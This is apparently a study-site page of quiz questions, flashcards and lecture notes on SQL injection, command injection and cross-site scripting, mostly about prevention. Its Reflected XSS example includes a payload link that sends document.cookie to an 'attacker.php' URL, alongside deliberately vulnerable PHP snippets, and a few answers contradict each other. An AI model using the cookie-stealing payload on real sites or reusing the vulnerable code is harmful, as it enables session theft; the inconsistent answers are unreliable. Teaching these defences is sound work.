Cross-Site Scripting (XSS) Explained
29 Questions
0 Views

Choose a study mode

Play Quiz
Study Flashcards
Spaced Repetition
Chat to Lesson

Podcast

Play an AI-generated podcast conversation about this lesson

Questions and Answers

What is an SQL Injection attack?

  • A method to optimize database indexing.
  • A technique used to insert malicious code into a database query. (correct)
  • A way to update user credentials in a secure way.
  • A method to improve SQL query performance.

What does the following SQL query do if the $_GET['id'] is set to (1 OR 1=1)? $id = $_GET['id']; $query = 'SELECT * FROM users WHERE id = $id'; mysqli_query($conn, $query);

  • Returns all users in the table. (correct)
  • Deletes the users with ID 1.
  • Returns only the user with ID 1.
  • Throws a syntax error.

What is a Command Injection attack?

  • A way to send commands to a web browser.
  • An attack that allows unauthorized commands to be executed on the server. (correct)
  • A method to perform SQL queries more efficiently.
  • An injection to increase server response speed.

What is wrong with the following code, and how can it be exploited? $cmd = $_GET['cmd']; exec('Is -I $cmd');

<p>It is vulnerable to command injection, allowing an attacker to execute arbitrary commands. (C)</p> Signup and view all the answers

Which of the following techniques prevents SQL Injection attacks effectively?

<p>Using prepared statements and parameterized queries. (D)</p> Signup and view all the answers

How can you prevent file inclusion vulnerabilities like in the code above? $file = $_GET['file']; include($file);

<p>Only allow predefined file paths or use <code>realpath()</code> to verify file paths. (C)</p> Signup and view all the answers

Which of the following types of injection attacks involves injecting executable code into a program?

<p>Code Injection (C)</p> Signup and view all the answers

What is the main risk of using the eval() function in PHP?

<p>It can lead to Code Injection attacks if user input is passed directly to the <code>eval()</code> function. (D)</p> Signup and view all the answers

What is the purpose of input sanitization in web applications?

<p>To remove or escape dangerous characters from user input. (B)</p> Signup and view all the answers

What is the main difference between sanitization and validation?

<p>Sanitization removes harmful data, while validation checks if the data conforms to expected formats or rules. (D)</p> Signup and view all the answers

What will be the output of the following PHP code when the user inputs <script>alert('XSS')</script>? $input = '<script>alert('XSS')</script>'; echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

<p>&lt;script&gt;alert('XSS')&lt;/script&gt; (C)</p> Signup and view all the answers

What will the following PHP code output if the user inputs <b>Hello</b>? $input = '<b>Hello</b>'; echo strip_tags($input);

<p>Hello (D)</p> Signup and view all the answers

What will be the output of this PHP code when the user inputs "O'Reilly"? $input = "O'Reilly"; echo mysqli_real_escape_string($conn, $input);

<p>O'Reilly (C)</p> Signup and view all the answers

What is the sanitized output of the following PHP code when the user inputs <h1>Welcome!</h1>? $input = '<h1>Welcome!</h1>'; echo filter_var($input, FILTER_SANITIZE_STRING);

<p>Welcome! (C)</p> Signup and view all the answers

What is Cross-Site Scripting (XSS)?

<p>Cross-Site Scripting (XSS) is a type of security vulnerability typically found in web applications, allowing attackers to inject malicious scripts into web pages viewed by other users.</p> Signup and view all the answers

What is Stored XSS?

<p>When malicious scripts are injected into a webpage and are stored in a database or server, affecting multiple users. (C)</p> Signup and view all the answers

In the following code, where is the Stored XSS vulnerability? $message = $_POST['message']; $query = "INSERT INTO comments (comment) VALUES ('$message')"; mysqli_query($conn, $query);

<p>The user input is not sanitized before being stored in the database. (D)</p> Signup and view all the answers

Which of the following can Stored XSS attacks do?

<p>Steal cookies and session tokens. (D)</p> Signup and view all the answers

What will happen if the following input is stored in a comment field on a blog? User input: "<script>alert('XSS')</script>"

<p>The input will execute a JavaScript alert in other users browsers. (A)</p> Signup and view all the answers

Which of the following is NOT a common prevention technique for Stored XSS?

<p>Using a firewall. (C)</p> Signup and view all the answers

How does this code prevent Stored XSS? $input = $_POST['message']; $safe_input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); echo $safe_input;

<p>It prevents JavaScript from being executed by encoding special characters. (B)</p> Signup and view all the answers

How does the following code help prevent Stored XSS? $user_input = $_POST['feedback']; $safe_input = strip_tags($user_input); echo $safe_input;

<p>It removes any HTML tags from the input. (D)</p> Signup and view all the answers

What's the main reason to use htmlspecialchars() in preventing Stored XSS?

<p>It escapes special characters like <code>&lt;</code>, <code>&gt;</code>, and <code>&amp;</code>. (C)</p> Signup and view all the answers

What is Reflected XSS?

<p>Reflected XSS occurs when user-supplied data is immediately processed and reflected back to the user without being properly sanitized or encoded.</p> Signup and view all the answers

What is the main security vulnerability in the following code? $name = $_GET['name']; echo "Hello, $name!";

<p>The code is vulnerable to Reflected XSS because it outputs unsanitized user input directly. (C)</p> Signup and view all the answers

What can an attacker achieve with Reflected XSS?

<p>Execute malicious scripts in the user's browser. (B)</p> Signup and view all the answers

Which of the following input could cause Reflected XSS in the vulnerable code below? $search = $_GET['search']; echo "Search results for: $search";

<p><code>&lt;script&gt;alert('XSS');&lt;/script&gt;</code> (B)</p> Signup and view all the answers

What is DOM-based XSS?

<p>DOM-based XSS (Document Object Model XSS) is a vulnerability that occurs when the client-side script of a web application modifies the DOM based on user input in an insecure manner.</p> Signup and view all the answers

What can an attacker exploit DOM XSS to do?

<p>Steal sensitive information like cookies, perform actions of behalf of the victim, inject malicious scripts, or modify the appearance of a web application.</p> Signup and view all the answers

Flashcards

SQL Injection

A technique to insert malicious code into a database query.

SQL Injection Result

Returns all users in the table due to the OR 1=1 condition.

Command Injection

An attack that allows unauthorized execution of commands on a server.

Vulnerable Code

Vulnerable to command injection, letting attackers run arbitrary commands.

Signup and view all the flashcards

Preventing SQLi

Using prepared statements and parameterized queries.

Signup and view all the flashcards

Preventing File Inclusion

Allow only predefined file paths or use realpath() to verify paths.

Signup and view all the flashcards

Code Injection

Injecting executable code into a program.

Signup and view all the flashcards

Risk of eval()

It can lead to Code Injection if user input is passed directly to it.

Signup and view all the flashcards

Input Sanitization

To remove or escape dangerous characters from user input.

Signup and view all the flashcards

Sanitization vs. Validation

Sanitization removes harmful data; validation checks if data conforms to rules.

Signup and view all the flashcards

htmlspecialchars Output

<script>alert('XSS')</script>

Signup and view all the flashcards

strip_tags Output

Hello

Signup and view all the flashcards

mysqli_real_escape_string() Output

O'Reilly

Signup and view all the flashcards

filter_var() output

Welcome!

Signup and view all the flashcards

Cross-Site Scripting (XSS)

A vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users.

Signup and view all the flashcards

Stored XSS

Malicious scripts are injected and stored on the server, affecting multiple users.

Signup and view all the flashcards

Stored XSS Vulnerability

The user input is not sanitized before being stored in the database.

Signup and view all the flashcards

Stored XSS Impact

Steal cookies and session tokens.

Signup and view all the flashcards

Stored XSS Result

The input will execute a JavaScript alert in other users' browsers.

Signup and view all the flashcards

NOT a Stored XSS Prevention

Using a firewall.

Signup and view all the flashcards

htmlspecialchars Prevention

It prevents JavaScript from being executed by encoding special characters.

Signup and view all the flashcards

strip_tags Prevention

It removes any HTML tags from the input.

Signup and view all the flashcards

htmlspecialchars() Reason

It escapes special characters like <, >, and &.

Signup and view all the flashcards

Reflected XSS

The malicious script is reflected off a web application and executed in the user's browser.

Signup and view all the flashcards

Reflected XSS Vulnerability

The code is vulnerable to Reflected XSS because it outputs unsanitized user input directly.

Signup and view all the flashcards

Reflected XSS Impact

Execute malicious scripts in the user’s browser.

Signup and view all the flashcards

Reflected XSS Input

alert('XSS');

Signup and view all the flashcards

DOM XSS

Occurs when client-side script modifies the DOM based on user input insecurely.

Signup and view all the flashcards

DOM XSS Impact

Steal sensitive information like cookies, session tokens, or user credentials.

Signup and view all the flashcards

DOM XSS Code

var hash = window.location.hash.substring(1); document.getElementById('welcome-message').innerHTML = "Hello, " + hash;

Signup and view all the flashcards

Study Notes

Secure Software Implementation/Coding: Domain 4

  • Lecture focuses on Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS)

  • It is a security vulnerability commonly found in web applications
  • Allows attackers to inject malicious scripts into web pages viewed by other users
  • Malicious scripts can be executed in the victim's browser
  • Can lead to harmful actions like:
    • Stealing session tokens
    • Manipulating web content
    • Redirecting users to malicious websites

Types of XSS

  • Stored XSS (Persistent XSS)
  • Reflected XSS (Non-Persistent XSS)
  • DOM-Based XSS

Stored XSS

  • Involves injecting malicious scripts into a web application
  • Scripts are stored on the server and delivered to other users when they access affected pages.
  • An author/attacker can input a malicious script into a blog post
  • When an administrator views the blog dashboard, the script can be executed to steal session cookies.
  • Attackers database recieves cookie information
  • Attackers logs into admin account

Preventing Stored XSS

  • Input Validation and Sanitization: Sanitize data before it is stored in the database using functions like htmlspecialchars()
  • Output Encoding: Encode data before displaying it to users.
  • Use Security Libraries: Use security libraries and frameworks with built-in XSS protection, such as Django, Laravel, and Ruby on Rails.

Example Prevention Code 1

$comment = $_POST['comment'];
$isValid=validateComment($_POST['comment']);
if($isValid){
  $comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
}else{
  //Invalid Message
}
  • This code sanitizes comments but does store in the database

Example Prevention Code 2

$row=getComment($id);
echo "<p>". htmlspecialchars($row['comment'], ENT_QUOTES, 'UTF-8') ."</p>";
  • This example shows proper sanitization and database usage

Reflected XSS

  • Reflected XSS is also known as Non-Persistent XSS
  • Occurs when user-supplied data is immediately processed and reflected back to the user
  • The data is not properly sanitized or encoded
  • Happens when a web application includes untrusted data in a page's HTML or JavaScript without proper escaping
  • The attack payload is executed immediately
  • The search query entered by the teacher is reflected directly on the results page without proper sanitization or encoding.

Reflected XSS Example

  • A student crafts a malicious message with a malicious URL
<a href="http://localhost/teacher.php?search=<script>document.location='http://localhost/xss/attacker.php?cookies='+document.cookie;</script>">in this link</a>
  • The teacher clicks this link
  • The following PHP script is run
<?php
$student_name = $_GET['search'];
echo "Search results for: ".$student_name;
//Database Search and Result
?>
  • The cookie information is sent to attacker database
  • The attack can change grades, access sensitive data, modify course content, and post inappropriate content.

Preventing Reflected XSS

  • Proper Input/output Validation, Sanitization, and Encoding: Use functions like htmlspecialchars()
<?php
$student_name = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "Search results for: ".$student_name;
//Database Search and Result
?>
  • Ensures that any potentially malicious input is rendered harmless by converting special characters into their HTML entity equivalents.
  • Use Content Security Policy (CSP):
    • CSP blocks inline scripts
    • CSP only allows scripts from the application's own domain.

CSP Example

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  • Can be implemented with the following PHP scripting
$trustedScriptSource = "https://trusted-cdn.com";
$trustedImageSource = "https://trusted-image-source.com";
header("Content-Security-Policy: default-src 'self';
script-src 'self' $trustedScriptSource;
img-src 'self' $trustedImageSource;");
  • Limit the Use of User-Provided Data in Responses: Minimize the reflection of user-provided data in the HTML response.
  • Use HTTP-Only and Secure Cookies: Prevents access via JavaScript.
setcookie('PHPSESSID', session_id(), [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict',
]);

Reflected XSS Best Practices

  • Always escape output before rendering it in the browser.
  • Validate and Sanitize user input on both the client and server sides.
  • Use a framework that includes built-in protections against XSS, such as Django, Ruby on Rails, or Laravel.
  • Use a Content Security Policy to prevent the execution of malicious scripts.
  • Enable security headers like X-XSS-Protection and Content-Security-Policy.
  • Perform regular security audits and penetration testing to identify XSS vulnerabilities.
  • Test application with XSS vulnerability scanners and penetration testing tools (e.g., OWASP ZAP, Burp Suite).

DOM-based XSS

  • DOM (Document Object Model) XSS occurs when the client-side script of a web application modifies the DOM based on user input
  • DOM XSS is entirely client-side
  • Malicious script is executed within the browser without any server-side interaction.

DOM XSS Exploits

  • An attacker can steal sensitive information
    • Cookies
    • Session tokens
    • User credentials
  • Perform actions on behalf of the victim
    • Submitting forums
    • Clicking Links
  • Inject malicious scripts
    • Can be used for phishing
    • Spreading malware
  • modify the appearance or behavior of the web application in unintended ways.

DOM XSS Example

  • URL with injected malicious scripts using the # symbol
https://example.com/#<script>alert('XSS')</script>
  • Insecure HTML
<h1>Welcome</h1>
<p id="welcome-message"></p>
  • Resulting Javascript
var hash = window.location.hash.substring(1);
document.getElementById('welcome-message').innerHTML = "Hello, " + hash;
var user = location.hash.substring(1);
document.write("<h2>Welcome, " + user + "</h2>");
var user = location.hash.substring(1);
document.createElement('h2');
h2.textContent = "Welcome, " + user;
document.body.appendChild(h2);

Review Questions

SQL Injection Attack

  • A technique used to insert malicious code into a database query

SQL Query Vulnerability

  • SQL query will return all users in the table if $GET[‘id’] is set to (1 OR 1=1)

Command Injection Attack

  • Attack allows unauthorized commands to be executed on the server

Command Injection Code Example

$cmd = $_GET['cmd'];
exec("Is -I $cmd");
  • The above code is vulnerable to command injection
  • It allows an attacker to execute arbitrary commands

SQL Injection Prevention

  • Using prepared statements and parameterized queries are the best way to prevent SQL injection attacks

File Inclusion Prevention

  • Can prevent file inclusion vulnerabilities by only allowing predefined file paths or using realpath() to verify file paths

Code Injection

  • Injecting executable code into a program is a type of injection attack

Eval Dangers

  • Using the eval() function in PHP can lead to Code Injection attacks if user input is passed directly to eval()

Input Sanitization

  • Input sanitization in web applications removes or escapes dangerous characters from user input

Sanitization vs Validation

  • Sanitization removes harmful data
  • Validation checks if the data conforms to expected formats or rules

PHP Code Output

$input = "<script>alert('xss')</script>";
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
  • This will output in the HTML
&lt;script&gt;alert('XSS')&lt;/script&gt;
  • The special characters have been encoded

More PHP code output

$input = "<b>Hello</b>";
echo strip_tags($input);
  • The following code will output
Hello

PHP Escape Codes

  • When a PHP script contains
$input = O'Reilly;
echo mysqli_real_escape_string($conn, $input);
  • It's output code is
O\'Reilly

Sanitization Code

  • When running the following code
$input = "<h1>Welcome!</h1>";
echo filter_var($input, FILTER_SANITIZE_STRING);
  • The result is
Welcome!

Stored XSS Description

  • Stored XSS involves malicious scripts
  • Scripts are injected into a webpage and stored in a database or server
  • Stores XSS affects multiple users

Stored XSS Vulnerability

$message = $_POST['message'];
$query = "INSERT INTO comments (comment) VALUES ('$message')";
mysqli_query($conn, $query);
  • Is located where the user input is not sanitized before being stored in the database

Stored XSS Attacks are Capable of...

  • Stealing cookies and session tokens

What if "<script>alert('XSS')</script>" runs in a blog?

  • If the following input is stored in a comment field on a blog it will execute a JavaScript alert in other users browsers.

Stored XSS Prevention

  • Escaping SQL queries is NOT a common prevention technique

How to prevent Stored XSS?

  $input = $_POST['message'];
  $safe_input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
  echo $safe_input;
  • This code prevents Javascript from being executed by encoding special characters

Preventing Stored XSS

$user_input = $_POST['feedback'];
$safe_input = strip_tags($user_input);
echo $safe_input;
  • The code helps prevent Stored XSS by removing any HTML tags from the input

Htmlspecialchars Prevention

  • The main reason to use is to escape special characters like <, >, and &

Reflected XSS

  • Involves malicious script that is reflected off a web application and executed in the user's browser

Main Security Reflected XSS Problem

$name = $_GET['name'];
echo "Hello, $name!";
  • The code is vulnerable to Reflected XSS because it outputs unsanitized user input directly.

Reflected XSS is capable of...

  • Executing malicious scripts in the user's browser

Potential Reflected XSS Vulnerability

$search = $_GET['search'];
echo "Search results for: $search";
  • The following input can cause Reflected XSS in the vulnerable code above.
<script>alert('XSS');</script>

DOM XSS is a type of

  • Involves document object model exploits

Studying That Suits You

Use AI to generate personalized quizzes and flashcards to suit your learning preferences.

Quiz Team

Description

This lecture explains Cross-Site Scripting (XSS), a common web application vulnerability. Attackers inject malicious scripts into web pages viewed by other users, leading to harmful actions. The lecture covers the types of XSS, including stored, reflected, and DOM-based XSS.

More Like This

Use Quizgecko on...
Browser
Browser